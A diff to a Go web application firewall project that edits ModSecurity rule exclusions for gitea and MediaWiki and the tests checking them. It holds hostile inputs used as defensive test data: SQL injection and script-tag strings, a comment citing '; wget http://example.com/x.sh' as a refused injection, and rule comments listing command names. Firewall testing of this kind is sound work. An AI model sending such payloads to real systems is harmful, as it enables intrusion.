|
|
||||||
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
||||||
body = `{"name":"` + word + `"}`
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, body)
|
|
||||||
if got.Score >= drupalThreshold {
|
|
||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
|
||||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
||||||
body := `{"mail":"` + address + `"}`
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
|
||||||
if got.Score >= drupalThreshold {
|
|
||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -482,31 +390,4 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The JSON field name keeps the rules beside json.name in the query, and
|
|
||||||
// on a path other than the password reset.
|
|
||||||
for _, target := range []string{
|
|
||||||
drupalJSONPasswordReset + "&json.name=python3",
|
|
||||||
"/user/register?_format=json",
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
|
||||||
if got.Score < drupalThreshold {
|
|
||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// So does the JSON field mail.
|
|
||||||
for _, target := range []string{
|
|
||||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
|
||||||
"/user/register?_format=json",
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
|
||||||
if got.Score < drupalThreshold {
|
|
||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,53 +1,8 @@
|
|||||||
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||||
# They are the fields where gitea sends a search, a file name or a branch name.
|
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||||
# Each exclusion runs with the request, before the rules it switches off, those
|
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||||
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
|
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||||
# Each comment names a request the rule refused.
|
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||||
|
|
||||||
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
|
|
||||||
# skipped. Inspect sets tx.app_gitea when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_gitea itself.
|
|
||||||
SecRule &TX:app_gitea "@eq 0" \
|
|
||||||
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
|
||||||
|
|
||||||
# The query parameters in which gitea sends names within a repository or its
|
|
||||||
# own records, or a page of its own site, are not checked against the lists of
|
|
||||||
# system files, shell paths and command names, on any path:
|
|
||||||
# 930120: .gitignore
|
|
||||||
# 932160: bin/docker-entrypoint
|
|
||||||
# 932260: docker-build
|
|
||||||
SecAction "id:900591,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -80,18 +35,13 @@ SecAction "id:900591,phase:1,pass,nolog,\
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
# gitea has no owner named api. A repository's search, issues, pull requests and
|
|
||||||
# commit search with that owner get none of this. /api/v2/search, for example,
|
|
||||||
# is Mastodon's search.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|\
|
[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,chain"
|
"id:900600,phase:1,pass,nolog,\
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
|
||||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
@@ -205,8 +155,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. Rule 900591 already has path and
|
# Each request skips the rules that refused it. The fourth change already has
|
||||||
# redirect_to skip 930120, 932160 and 932260 on every path.
|
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -331,5 +281,3 @@ SecRule REQUEST_FILENAME \
|
|||||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||||
"id:900640,phase:1,pass,nolog,\
|
"id:900640,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||||
|
|
||||||
SecMarker END_GITEA
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -15,19 +15,12 @@
|
|||||||
# Pages under /wiki/ need neither.
|
# Pages under /wiki/ need neither.
|
||||||
#
|
#
|
||||||
# Four rules read a search, a title or a name as a command or a system file.
|
# Four rules read a search, a title or a name as a command or a system file.
|
||||||
# Each exclusion below for such a field removes these four:
|
# Each exclusion below for such a field removes these four, and only these:
|
||||||
# 930120: .htaccess
|
# 930120: .htaccess
|
||||||
# 932120: powershell
|
# 932120: powershell
|
||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
|
|
||||||
# is skipped. Inspect sets tx.app_mediawiki when it does.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mediawiki itself.
|
|
||||||
SecRule &TX:app_mediawiki "@eq 0" \
|
|
||||||
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -62,11 +55,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
|
||||||
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
|
||||||
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
|
||||||
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
|
# gsrsearch, gpssearch, gapfrom, gbltitle: the same fields from a generator,
|
||||||
# gbltitle, geuquery: the same fields from a generator,
|
# /api.php?action=query&generator=prefixsearch&gpssearch=python3
|
||||||
# /api.php?action=query&generator=allpages&gapprefix=python3
|
|
||||||
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
|
||||||
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
|
|
||||||
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
|
||||||
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
|
||||||
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
# user: blocking, unblocking or changing the groups of a user, user=Python3
|
||||||
@@ -80,10 +71,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# allow.
|
# allow.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||||
"id:900901,phase:1,pass,nolog,\
|
"id:900901,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gbltitle|euquery|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
|
||||||
ctl:ruleRemoveTargetById=932180;FILES"
|
ctl:ruleRemoveTargetById=932180;FILES"
|
||||||
|
|
||||||
# The search box's suggestions and the search through the REST API:
|
# The search box's suggestions and the search through the REST API:
|
||||||
@@ -184,40 +175,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
||||||
|
|
||||||
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
|
||||||
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
|
||||||
# were refused:
|
|
||||||
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
|
||||||
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
|
||||||
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
|
||||||
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
|
||||||
# refused. A watchlist that mixes a title holding one of these with a title
|
|
||||||
# starting with a command name is refused too.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
||||||
"id:900915,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
|
||||||
|
|
||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
|
||||||
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
|
||||||
# reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
|
||||||
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
|
||||||
|
|
||||||
SecMarker END_MEDIAWIKI
|
|
||||||
@@ -4,16 +4,11 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_APPS.
|
|
||||||
const mediawiki = "mediawiki"
|
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -50,63 +45,12 @@ const (
|
|||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {mediawiki},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only MediaWiki's fixes let through.
|
|
||||||
search := get("/index.php?title=Special:Search&search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A watchlist that only the phase 2 rule 900916 lets through.
|
|
||||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The requests were recorded on example.com.
|
|
||||||
apps := map[string][]string{"example.com": {mediawiki}}
|
|
||||||
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||||
// path where it skips them, ending in "=".
|
// path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -141,10 +85,6 @@ var mediawikiQueryFields = []string{
|
|||||||
"/api.php?action=query&list=allpages&apto=",
|
"/api.php?action=query&list=allpages&apto=",
|
||||||
"/api.php?action=query&list=allpages&apprefix=",
|
"/api.php?action=query&list=allpages&apprefix=",
|
||||||
"/api.php?action=query&generator=allpages&gapfrom=",
|
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||||
"/api.php?action=query&generator=allpages&gapto=",
|
|
||||||
"/api.php?action=query&generator=allpages&gapprefix=",
|
|
||||||
"/api.php?action=query&generator=allimages&gaifrom=",
|
|
||||||
"/api.php?action=query&generator=allimages&gaiprefix=",
|
|
||||||
"/api.php?action=query&list=allimages&aifrom=",
|
"/api.php?action=query&list=allimages&aifrom=",
|
||||||
"/api.php?action=query&list=allimages&aiprefix=",
|
"/api.php?action=query&list=allimages&aiprefix=",
|
||||||
"/api.php?action=query&list=allusers&aufrom=",
|
"/api.php?action=query&list=allusers&aufrom=",
|
||||||
@@ -152,8 +92,6 @@ var mediawikiQueryFields = []string{
|
|||||||
"/api.php?action=query&list=backlinks&bltitle=",
|
"/api.php?action=query&list=backlinks&bltitle=",
|
||||||
"/api.php?action=query&generator=backlinks&gbltitle=",
|
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||||
"/api.php?action=query&list=exturlusage&euquery=",
|
"/api.php?action=query&list=exturlusage&euquery=",
|
||||||
"/api.php?action=query&generator=exturlusage&geuquery=",
|
|
||||||
"/api.php?action=query&list=logevents&letitle=",
|
|
||||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||||
"/api.php?action=query&list=blocks&bkusers=",
|
"/api.php?action=query&list=blocks&bkusers=",
|
||||||
"/w/api.php?action=opensearch&search=",
|
"/w/api.php?action=opensearch&search=",
|
||||||
@@ -192,8 +130,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|||||||
type mediawikiBodyField struct{ target, field string }
|
type mediawikiBodyField struct{ target, field string }
|
||||||
|
|
||||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||||
// a path where it skips them.
|
// a path where it skips them.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -236,14 +174,6 @@ var mediawikiReasonFields = []mediawikiBodyField{
|
|||||||
{mediawikiProtect, "mwProtect-reason="},
|
{mediawikiProtect, "mwProtect-reason="},
|
||||||
}
|
}
|
||||||
|
|
||||||
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
|
||||||
// list of titles in, one per line.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
||||||
var mediawikiWatchlist = mediawikiBodyField{
|
|
||||||
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -260,7 +190,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||||
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
mediawikiReasonFields)
|
||||||
|
|
||||||
for _, attack := range mediawikiAttacks {
|
for _, attack := range mediawikiAttacks {
|
||||||
for _, sent := range fields {
|
for _, sent := range fields {
|
||||||
@@ -274,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
injection,
|
`1' OR '1'='1`,
|
||||||
scriptTag,
|
`<script>alert(1)</script>`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||||
@@ -298,9 +228,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
